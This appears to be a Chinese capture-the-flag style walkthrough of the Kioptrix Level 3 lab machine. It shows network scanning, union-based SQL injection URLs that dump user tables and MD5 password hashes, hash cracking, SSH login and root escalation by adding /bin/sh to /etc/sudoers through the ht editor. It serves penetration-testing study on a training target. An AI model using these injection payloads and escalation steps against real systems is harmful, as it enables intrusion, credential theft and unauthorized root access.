一、探测靶机IP(进行信息收集)
ifconfig
ifconfig 查看自己网段,kali和靶机的网段一样
nmap -p- 192.168.235.0/24
扫描全网段,发现多出来的就是ip就是靶机的
二、查看版本号(指纹探测)
nmap -sV-O192.168.253.133
可以看到开放的端口服务以及系统版本
三、进行目录枚举
dirb http://192.168.253.133/
发现一个目录和登录界面
发现这个png图片是登录成功的界面
登录窗口,尝试弱口令,最后发现登入名称是可以随便输的,密码不用填
发现一个SQL查询,最终没啥思路,换个方向
四、进入网页
在浏览器输入靶机ip即可
有个登录界面
然后到处点点,收集信息,看到有人打过评论这个存在sql注入,在第一张图的now点击后发现
一堆玩意没显示图片,通过修改 Hosts 文件绑定,适用于本地测试等场景,将域名映射到指定 IP 地址,修改仅对本机生效。
查看网页源代码
这几个链接有点少儿不宜的东西
然后去这个目录,windows以记事本打开hosts 添加靶机ip 加域名,下面Linux里同样
在Linux里
先切换成root用户
vim /etc/hosts
添加ip 域名
然后就显示出来了
五、SQL注入
到处点点,发现这个Ligoat Press Room里面有点问题
点击Photo id
id参数的值直接暴露在 URL 中,存在SQl注入,排序逻辑也有问题
通过order by 6–,从1开始试,发现查询结果只有6列,order by 7–开始报错
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos
回显位置在 2和3
数据库与数据库用户
union select1,database(),user(),4,5,6
http://kioptrix3.com//gallery/gallery.php?id=-1 union select1,database(),user(),4,5,6 --+ &sort=photoid#photos
数据表
union select1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()
http://kioptrix3.com/gallery/gallery.php?id=-1 union select1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+ &sort=photoid#photos 3
字段
union select1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'
http://kioptrix3.com/gallery/gallery.php?id=-1 union select1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+ &sort=photoid#photos 3
发现用户名和密码
第一次尝试group_concat(username,0x7e,password)
这个方便区分用户名和密码,通过 ~ 作为分隔符,在获取到数据后可以很容易地将用户名和密码区分开来
http://kioptrix3.com/gallery/gallery.php?id=-1 union select1,group_concat(username,0x7e,password),3,4,5,6 from dev_accounts--+ &sort=photoid#photos 3
账户:admin 密码:n0t7t1k4
很遗憾错误
第二次尝试group_concat(username),group_concat(password)
这个可以避免数据长度过长问题,由于用户名和密码分别连接,每个字符串的长度相对较短,减少了因长度限制导致数据丢失的风险
union select1,group_concat(username),group_concat(password),4,5,6 from dev_accounts--
http://kioptrix3.com/gallery/gallery.php?id=-1 union select1,group_concat(username),group_concat(password),4,5,6 from dev_accounts--+ &sort=photoid#photos 3
六、MD5解密
密码:0d3eccfb887aabd50f243b3f155c0f85 解密:Mast3r
密码:5badcaf789d3d1d09794d8f021f40f0e 解密:starwars
dreg Mast3r
loneferret starwars
七、提权
可以得到两个账号密码,登录试试看
ssh-oKexAlgorithms=+diffie-hellman-group1-sha1
-oHostKeyAlgorithms=+ssh-rsa
-oCiphers=+aes256-cbc
[email protected]
-
-oKexAlgorithms=+diffie - hellman - group1 - sha1指定了密钥交换算法 -
-oHostKeyAlgorithms=+ssh - rsa指定了主机密钥算法 -
-ociphers=+aes256 - cbc指定了加密算法 -
[email protected]表示以用户dreg身份连接到对应 IP 地址的主机
ssh-oKexAlgorithms=+diffie-hellman-group1-sha1
-oHostKeyAlgorithms=+ssh-rsa
-oCiphers=+aes256-cbc
<user>@ip
各方面尝试一下,这个dreg没有什么东西
尝试另一个账户loneferret
ssh-oKexAlgorithms=+diffie-hellman-group1-sha1
-oHostKeyAlgorithms=+ssh-rsa
-oCiphers=+aes256-cbc
[email protected]
登录成功
看看总共有哪些文件
ls-la
再看看当前目录有什么
发现一个公司政策的说明,cat进去看看
翻译一波
尝试执行sudo ht失败,提示无root密码,但根据公司政策,必须使用sudo ht,可能ht是一个需要提权的程序,如编辑器
当前无法直接使用sudo,可能需要利用其他漏洞,如果ht
是一个编辑器,可能有办法通过编辑器执行shell命令。例如,在vim中可以输入:!sh
来获取shell,但需要sudo权限。如果ht
是类似的编辑器,并且用户被允许通过sudo运行它,可能有办法逃逸。
sudo ht
发现进不去,直接ht试一下
(这里其实是要用sudo ht,不然就会报错,直接使用loneferret账户的权限是不够,会有Segmentation Fault的错误,会导致堆栈溢出,必须用sudo,但不知道为什么我这不行,望各位师傅指点一下)
解决Error opening terminal: xterm-256color可以直接使用 export TERM=xterm(临时设置)
直接进入ht
法1:通过读取修改/etc/passwd文件来让“loneferret”变成root用户权限
法2:在/etc/sudoers文件允许补充root特权命令(bin/sh)的loneferret帐户
先按F3搜索,输入/etc/sudoers,然后回车
在loneferret这一行添加/bin/sh
可以ALT+F打开文件夹保存或者
Ctrl +W然后确认回车保存之后,执行sudo /bin/sh就可以提权成功
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Kioptix Level 3(SQL注入法)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论